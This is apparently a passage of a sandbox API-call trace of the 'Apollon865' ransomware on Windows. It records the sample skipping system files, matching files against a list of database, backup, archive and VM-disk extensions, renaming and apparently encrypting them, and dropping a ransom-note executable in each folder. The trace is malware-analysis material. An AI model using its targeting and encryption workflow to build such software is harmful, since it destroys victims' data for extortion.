	[0064.997] lstrcmpiW (lpString1="Tasks.accdt", lpString2="Apollon865.txt.exe") returned 1
	[0064.997] lstrcmpiW (lpString1="Tasks.accdt", lpString2=".") returned 1
	[0064.997] lstrcmpiW (lpString1="Tasks.accdt", lpString2="..") returned 1
	[0064.997] lstrcmpiW (lpString1="Tasks.accdt", lpString2="windows") returned -1
	[0064.997] lstrcmpiW (lpString1="Tasks.accdt", lpString2="bootmgr") returned 1
	[0064.997] lstrcmpiW (lpString1="Tasks.accdt", lpString2="temp") returned -1
	[0064.997] lstrcmpiW (lpString1="Tasks.accdt", lpString2="pagefile.sys") returned 1
	[0064.997] lstrcmpiW (lpString1="Tasks.accdt", lpString2="boot") returned 1
	[0064.997] lstrcmpiW (lpString1="Tasks.accdt", lpString2="ids.txt") returned 1
	[0064.998] lstrcmpiW (lpString1="Tasks.accdt", lpString2="ntuser.dat") returned 1
	[0064.998] lstrcmpiW (lpString1="Tasks.accdt", lpString2="perflogs") returned 1
	[0064.998] lstrcmpiW (lpString1="Tasks.accdt", lpString2="MSBuild") returned 1
	[0064.998] lstrlenW (lpString="Tasks.accdt") returned 11
	[0064.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Students.accdt") returned 70
	[0064.998] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="Tasks.accdt" | out: lpString1="Tasks.accdt") returned="Tasks.accdt"
	[0064.998] lstrlenW (lpString="Tasks.accdt") returned 11
	[0064.998] lstrlenW (lpString="Apollon865") returned 10
	[0064.998] lstrcmpiW (lpString1="asks.accdt", lpString2="Apollon865") returned 1
	[0064.998] lstrlenW (lpString=".dll") returned 4
	[0064.998] lstrcmpiW (lpString1="Tasks.accdt", lpString2=".dll") returned 1
	[0064.998] lstrlenW (lpString=".lnk") returned 4
	[0064.998] lstrcmpiW (lpString1="Tasks.accdt", lpString2=".lnk") returned 1
	[0064.998] lstrlenW (lpString=".ini") returned 4
	[0064.998] lstrcmpiW (lpString1="Tasks.accdt", lpString2=".ini") returned 1
	[0064.998] lstrlenW (lpString=".sys") returned 4
	[0064.998] lstrcmpiW (lpString1="Tasks.accdt", lpString2=".sys") returned 1
	[0064.998] lstrlenW (lpString="Tasks.accdt") returned 11
	[0064.998] lstrlenW (lpString="bak") returned 3
	[0064.998] lstrcmpiW (lpString1="cdt", lpString2="bak") returned 1
	[0064.998] lstrlenW (lpString="ba_") returned 3
	[0064.998] lstrcmpiW (lpString1="cdt", lpString2="ba_") returned 1
	[0064.998] lstrlenW (lpString="dbb") returned 3
	[0064.998] lstrcmpiW (lpString1="cdt", lpString2="dbb") returned -1
	[0064.998] lstrlenW (lpString="vmdk") returned 4
	[0064.998] lstrcmpiW (lpString1="ccdt", lpString2="vmdk") returned -1
	[0064.998] lstrlenW (lpString="rar") returned 3
	[0064.998] lstrcmpiW (lpString1="cdt", lpString2="rar") returned -1
	[0064.998] lstrlenW (lpString="zip") returned 3
	[0064.998] lstrcmpiW (lpString1="cdt", lpString2="zip") returned -1
	[0064.998] lstrlenW (lpString="tgz") returned 3
	[0064.998] lstrcmpiW (lpString1="cdt", lpString2="tgz") returned -1
	[0064.998] lstrlenW (lpString="vbox") returned 4
	[0064.999] lstrcmpiW (lpString1="ccdt", lpString2="vbox") returned -1
	[0064.999] lstrlenW (lpString="vdi") returned 3
	[0064.999] lstrcmpiW (lpString1="cdt", lpString2="vdi") returned -1
	[0064.999] lstrlenW (lpString="vhd") returned 3
	[0064.999] lstrcmpiW (lpString1="cdt", lpString2="vhd") returned -1
	[0064.999] lstrlenW (lpString="vhdx") returned 4
	[0064.999] lstrcmpiW (lpString1="ccdt", lpString2="vhdx") returned -1
	[0064.999] lstrlenW (lpString="avhd") returned 4
	[0064.999] lstrcmpiW (lpString1="ccdt", lpString2="avhd") returned 1
	[0064.999] lstrlenW (lpString="db") returned 2
	[0064.999] lstrcmpiW (lpString1="dt", lpString2="db") returned 1
	[0064.999] lstrlenW (lpString="db2") returned 3
	[0064.999] lstrcmpiW (lpString1="cdt", lpString2="db2") returned -1
	[0064.999] lstrlenW (lpString="db3") returned 3
	[0064.999] lstrcmpiW (lpString1="cdt", lpString2="db3") returned -1
	[0064.999] lstrlenW (lpString="dbf") returned 3
	[0064.999] lstrcmpiW (lpString1="cdt", lpString2="dbf") returned -1
	[0064.999] lstrlenW (lpString="mdf") returned 3
	[0064.999] lstrcmpiW (lpString1="cdt", lpString2="mdf") returned -1
	[0064.999] lstrlenW (lpString="mdb") returned 3
	[0064.999] lstrcmpiW (lpString1="cdt", lpString2="mdb") returned -1
	[0064.999] lstrlenW (lpString="sql") returned 3
	[0064.999] lstrcmpiW (lpString1="cdt", lpString2="sql") returned -1
	[0064.999] lstrlenW (lpString="sqlite") returned 6
	[0064.999] lstrcmpiW (lpString1=".accdt", lpString2="sqlite") returned -1
	[0064.999] lstrlenW (lpString="sqlite3") returned 7
	[0064.999] lstrcmpiW (lpString1="s.accdt", lpString2="sqlite3") returned -1
	[0064.999] lstrlenW (lpString="sqlitedb") returned 8
	[0064.999] lstrcmpiW (lpString1="ks.accdt", lpString2="sqlitedb") returned -1
	[0064.999] lstrlenW (lpString="xml") returned 3
	[0064.999] lstrcmpiW (lpString1="cdt", lpString2="xml") returned -1
	[0064.999] lstrlenW (lpString="$er") returned 3
	[0064.999] lstrcmpiW (lpString1="cdt", lpString2="$er") returned 1
	[0064.999] lstrlenW (lpString="4dd") returned 3
	[0064.999] lstrcmpiW (lpString1="cdt", lpString2="4dd") returned 1
	[0065.000] lstrlenW (lpString="4dl") returned 3
	[0065.000] lstrcmpiW (lpString1="cdt", lpString2="4dl") returned 1
	[0065.000] lstrlenW (lpString="^^^") returned 3
	[0065.000] lstrcmpiW (lpString1="cdt", lpString2="^^^") returned 1
	[0065.000] lstrlenW (lpString="abs") returned 3
	[0065.000] lstrcmpiW (lpString1="cdt", lpString2="abs") returned 1
	[0065.000] lstrlenW (lpString="abx") returned 3
	[0065.000] lstrcmpiW (lpString1="cdt", lpString2="abx") returned 1
	[0065.000] lstrlenW (lpString="accdb") returned 5
	[0065.000] lstrcmpiW (lpString1="accdt", lpString2="accdb") returned 1
	[0065.000] lstrlenW (lpString="accdc") returned 5
	[0065.000] lstrcmpiW (lpString1="accdt", lpString2="accdc") returned 1
	[0065.000] lstrlenW (lpString="accde") returned 5
	[0065.000] lstrcmpiW (lpString1="accdt", lpString2="accde") returned 1
	[0065.000] lstrlenW (lpString="accdr") returned 5
	[0065.000] lstrcmpiW (lpString1="accdt", lpString2="accdr") returned 1
	[0065.000] lstrlenW (lpString="accdt") returned 5
	[0065.000] lstrcmpiW (lpString1="accdt", lpString2="accdt") returned 0
	[0065.000] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Tasks.accdt.Apollon865") returned 78
	[0065.000] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Tasks.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\tasks.accdt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Tasks.accdt.Apollon865" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\tasks.accdt.apollon865"), dwFlags=0x1) returned 1
	[0065.002] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Tasks.accdt.Apollon865" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\tasks.accdt.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x118
	[0065.002] GetFileSizeEx (in: hFile=0x118, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=544361) returned 1
	[0065.002] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3470020
	[0065.002] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0065.002] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0065.003] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0065.003] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0065.003] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0065.003] CreateFileMappingW (hFile=0x118, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x85170, lpName=0x0) returned 0x150
	[0065.007] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x85170) returned 0x210000
	[0065.033] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0065.034] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0065.034] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0065.034] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0065.034] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0065.034] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0065.034] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0065.034] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0065.035] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0065.035] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0065.035] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0065.035] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0065.035] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0065.035] UnmapViewOfFile (lpBaseAddress=0x210000) returned 1
	[0065.040] CloseHandle (hObject=0x150) returned 1
	[0065.040] CloseHandle (hObject=0x118) returned 1
	[0065.040] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0065.041] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0065.041] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3470020 | out: hHeap=0x580000) returned 1
	[0065.043] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14ebe6b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x14ee4810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14ee4810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WSS", cAlternateFileName="")) returned 1
	[0065.043] lstrcmpiW (lpString1="WSS", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0065.043] lstrcmpiW (lpString1="WSS", lpString2="Apollon865.txt.exe") returned 1
	[0065.043] lstrcmpiW (lpString1="WSS", lpString2=".") returned 1
	[0065.043] lstrcmpiW (lpString1="WSS", lpString2="..") returned 1
	[0065.043] lstrcmpiW (lpString1="WSS", lpString2="windows") returned 1
	[0065.043] lstrcmpiW (lpString1="WSS", lpString2="bootmgr") returned 1
	[0065.043] lstrcmpiW (lpString1="WSS", lpString2="temp") returned 1
	[0065.043] lstrcmpiW (lpString1="WSS", lpString2="pagefile.sys") returned 1
	[0065.043] lstrcmpiW (lpString1="WSS", lpString2="boot") returned 1
	[0065.043] lstrcmpiW (lpString1="WSS", lpString2="ids.txt") returned 1
	[0065.043] lstrcmpiW (lpString1="WSS", lpString2="ntuser.dat") returned 1
	[0065.044] lstrcmpiW (lpString1="WSS", lpString2="perflogs") returned 1
	[0065.044] lstrcmpiW (lpString1="WSS", lpString2="MSBuild") returned 1
	[0065.044] lstrlenW (lpString="WSS") returned 3
	[0065.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Tasks.accdt") returned 67
	[0065.044] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="WSS" | out: lpString1="WSS") returned="WSS"
	[0065.044] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc88
	[0065.044] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x78) returned 0x5916c0
	[0065.044] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc90 | out: ListHead=0x5b76b0, ListEntry=0x59fc90) returned 0x59fd70
	[0065.044] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14ebe6b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x14ee4810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14ee4810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WSS", cAlternateFileName="")) returned 0
	[0065.044] FindClose (in: hFindFile=0x5ca350 | out: hFindFile=0x5ca350) returned 1
	[0065.044] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fc90
	[0065.044] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS"
	[0065.044] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5916c0 | out: hHeap=0x580000) returned 1
	[0065.044] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc88 | out: hHeap=0x580000) returned 1
	[0065.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS") returned 59
	[0065.044] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS" | out: lpString1="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS"
	[0065.044] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0065.044] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\wss\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0065.048] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0065.048] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14ebe6b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3ed7b850, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3ed7b850, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0065.048] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0065.048] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0065.048] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0065.048] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14ebe6b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3ed7b850, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3ed7b850, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0065.049] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0065.049] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0065.049] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0065.049] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0065.049] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1353a200, ftCreationTime.dwHighDateTime=0x1c6d84c, ftLastAccessTime.dwLowDateTime=0x14ebe6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1353a200, ftLastWriteTime.dwHighDateTime=0x1c6d84c, nFileSizeHigh=0x0, nFileSizeLow=0x377c5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="107.accdt", cAlternateFileName="107~1.ACC")) returned 1
	[0065.049] lstrcmpiW (lpString1="107.accdt", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0065.049] lstrcmpiW (lpString1="107.accdt", lpString2="Apollon865.txt.exe") returned -1
	[0065.049] lstrcmpiW (lpString1="107.accdt", lpString2=".") returned 1
	[0065.049] lstrcmpiW (lpString1="107.accdt", lpString2="..") returned 1
	[0065.049] lstrcmpiW (lpString1="107.accdt", lpString2="windows") returned -1
	[0065.049] lstrcmpiW (lpString1="107.accdt", lpString2="bootmgr") returned -1
	[0065.049] lstrcmpiW (lpString1="107.accdt", lpString2="temp") returned -1
	[0065.049] lstrcmpiW (lpString1="107.accdt", lpString2="pagefile.sys") returned -1
	[0065.049] lstrcmpiW (lpString1="107.accdt", lpString2="boot") returned -1
	[0065.049] lstrcmpiW (lpString1="107.accdt", lpString2="ids.txt") returned -1
	[0065.049] lstrcmpiW (lpString1="107.accdt", lpString2="ntuser.dat") returned -1
	[0065.049] lstrcmpiW (lpString1="107.accdt", lpString2="perflogs") returned -1
	[0065.049] lstrcmpiW (lpString1="107.accdt", lpString2="MSBuild") returned -1
	[0065.049] lstrlenW (lpString="107.accdt") returned 9
	[0065.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS\\*") returned 61
	[0065.049] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="107.accdt" | out: lpString1="107.accdt") returned="107.accdt"
	[0065.049] lstrlenW (lpString="107.accdt") returned 9
	[0065.049] lstrlenW (lpString="Apollon865") returned 10
	[0065.049] lstrlenW (lpString=".dll") returned 4
	[0065.049] lstrcmpiW (lpString1="107.accdt", lpString2=".dll") returned 1
	[0065.049] lstrlenW (lpString=".lnk") returned 4
	[0065.049] lstrcmpiW (lpString1="107.accdt", lpString2=".lnk") returned 1
	[0065.049] lstrlenW (lpString=".ini") returned 4
	[0065.049] lstrcmpiW (lpString1="107.accdt", lpString2=".ini") returned 1
	[0065.049] lstrlenW (lpString=".sys") returned 4
	[0065.049] lstrcmpiW (lpString1="107.accdt", lpString2=".sys") returned 1
	[0065.050] lstrlenW (lpString="107.accdt") returned 9
	[0065.050] lstrlenW (lpString="bak") returned 3
	[0065.050] lstrcmpiW (lpString1="cdt", lpString2="bak") returned 1
	[0065.050] lstrlenW (lpString="ba_") returned 3
	[0065.050] lstrcmpiW (lpString1="cdt", lpString2="ba_") returned 1
	[0065.050] lstrlenW (lpString="dbb") returned 3
	[0065.050] lstrcmpiW (lpString1="cdt", lpString2="dbb") returned -1
	[0065.050] lstrlenW (lpString="vmdk") returned 4
	[0065.050] lstrcmpiW (lpString1="ccdt", lpString2="vmdk") returned -1
	[0065.050] lstrlenW (lpString="rar") returned 3
	[0065.050] lstrcmpiW (lpString1="cdt", lpString2="rar") returned -1
	[0065.050] lstrlenW (lpString="zip") returned 3
	[0065.050] lstrcmpiW (lpString1="cdt", lpString2="zip") returned -1
	[0065.050] lstrlenW (lpString="tgz") returned 3
	[0065.050] lstrcmpiW (lpString1="cdt", lpString2="tgz") returned -1
	[0065.050] lstrlenW (lpString="vbox") returned 4
	[0065.050] lstrcmpiW (lpString1="ccdt", lpString2="vbox") returned -1
	[0065.050] lstrlenW (lpString="vdi") returned 3
	[0065.050] lstrcmpiW (lpString1="cdt", lpString2="vdi") returned -1
	[0065.050] lstrlenW (lpString="vhd") returned 3
	[0065.050] lstrcmpiW (lpString1="cdt", lpString2="vhd") returned -1
	[0065.050] lstrlenW (lpString="vhdx") returned 4
	[0065.050] lstrcmpiW (lpString1="ccdt", lpString2="vhdx") returned -1
	[0065.050] lstrlenW (lpString="avhd") returned 4
	[0065.050] lstrcmpiW (lpString1="ccdt", lpString2="avhd") returned 1
	[0065.050] lstrlenW (lpString="db") returned 2
	[0065.050] lstrcmpiW (lpString1="dt", lpString2="db") returned 1
	[0065.050] lstrlenW (lpString="db2") returned 3
	[0065.050] lstrcmpiW (lpString1="cdt", lpString2="db2") returned -1
	[0065.050] lstrlenW (lpString="db3") returned 3
	[0065.050] lstrcmpiW (lpString1="cdt", lpString2="db3") returned -1
	[0065.050] lstrlenW (lpString="dbf") returned 3
	[0065.050] lstrcmpiW (lpString1="cdt", lpString2="dbf") returned -1
	[0065.050] lstrlenW (lpString="mdf") returned 3
	[0065.051] lstrcmpiW (lpString1="cdt", lpString2="mdf") returned -1
	[0065.051] lstrlenW (lpString="mdb") returned 3
	[0065.051] lstrcmpiW (lpString1="cdt", lpString2="mdb") returned -1
	[0065.051] lstrlenW (lpString="sql") returned 3
	[0065.051] lstrcmpiW (lpString1="cdt", lpString2="sql") returned -1
	[0065.051] lstrlenW (lpString="sqlite") returned 6
	[0065.051] lstrcmpiW (lpString1=".accdt", lpString2="sqlite") returned -1
	[0065.051] lstrlenW (lpString="sqlite3") returned 7
	[0065.051] lstrcmpiW (lpString1="7.accdt", lpString2="sqlite3") returned -1
	[0065.051] lstrlenW (lpString="sqlitedb") returned 8
	[0065.051] lstrcmpiW (lpString1="07.accdt", lpString2="sqlitedb") returned -1
	[0065.051] lstrlenW (lpString="xml") returned 3
	[0065.051] lstrcmpiW (lpString1="cdt", lpString2="xml") returned -1
	[0065.051] lstrlenW (lpString="$er") returned 3
	[0065.051] lstrcmpiW (lpString1="cdt", lpString2="$er") returned 1
	[0065.051] lstrlenW (lpString="4dd") returned 3
	[0065.051] lstrcmpiW (lpString1="cdt", lpString2="4dd") returned 1
	[0065.051] lstrlenW (lpString="4dl") returned 3
	[0065.051] lstrcmpiW (lpString1="cdt", lpString2="4dl") returned 1
	[0065.051] lstrlenW (lpString="^^^") returned 3
	[0065.051] lstrcmpiW (lpString1="cdt", lpString2="^^^") returned 1
	[0065.051] lstrlenW (lpString="abs") returned 3
	[0065.051] lstrcmpiW (lpString1="cdt", lpString2="abs") returned 1
	[0065.051] lstrlenW (lpString="abx") returned 3
	[0065.051] lstrcmpiW (lpString1="cdt", lpString2="abx") returned 1
	[0065.051] lstrlenW (lpString="accdb") returned 5
	[0065.051] lstrcmpiW (lpString1="accdt", lpString2="accdb") returned 1
	[0065.051] lstrlenW (lpString="accdc") returned 5
	[0065.051] lstrcmpiW (lpString1="accdt", lpString2="accdc") returned 1
	[0065.051] lstrlenW (lpString="accde") returned 5
	[0065.051] lstrcmpiW (lpString1="accdt", lpString2="accde") returned 1
	[0065.051] lstrlenW (lpString="accdr") returned 5
	[0065.051] lstrcmpiW (lpString1="accdt", lpString2="accdr") returned 1
	[0065.052] lstrlenW (lpString="accdt") returned 5
	[0065.052] lstrcmpiW (lpString1="accdt", lpString2="accdt") returned 0
	[0065.052] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS\\107.accdt.Apollon865") returned 80
	[0065.052] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS\\107.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\wss\\107.accdt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS\\107.accdt.Apollon865" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\wss\\107.accdt.apollon865"), dwFlags=0x1) returned 1
	[0065.056] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS\\107.accdt.Apollon865" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\wss\\107.accdt.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0065.056] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=227269) returned 1
	[0065.056] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3470020
	[0065.056] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0065.056] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0065.056] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0065.057] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0065.057] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0065.057] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x37ad0, lpName=0x0) returned 0x150
	[0065.059] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x37ad0) returned 0x120000
	[0065.070] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0065.071] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0065.071] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0065.071] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0065.071] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0065.071] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0065.071] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0065.071] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0065.071] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0065.071] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0065.071] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0065.071] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0065.071] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0065.071] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0065.074] CloseHandle (hObject=0x150) returned 1
	[0065.074] CloseHandle (hObject=0xc0) returned 1
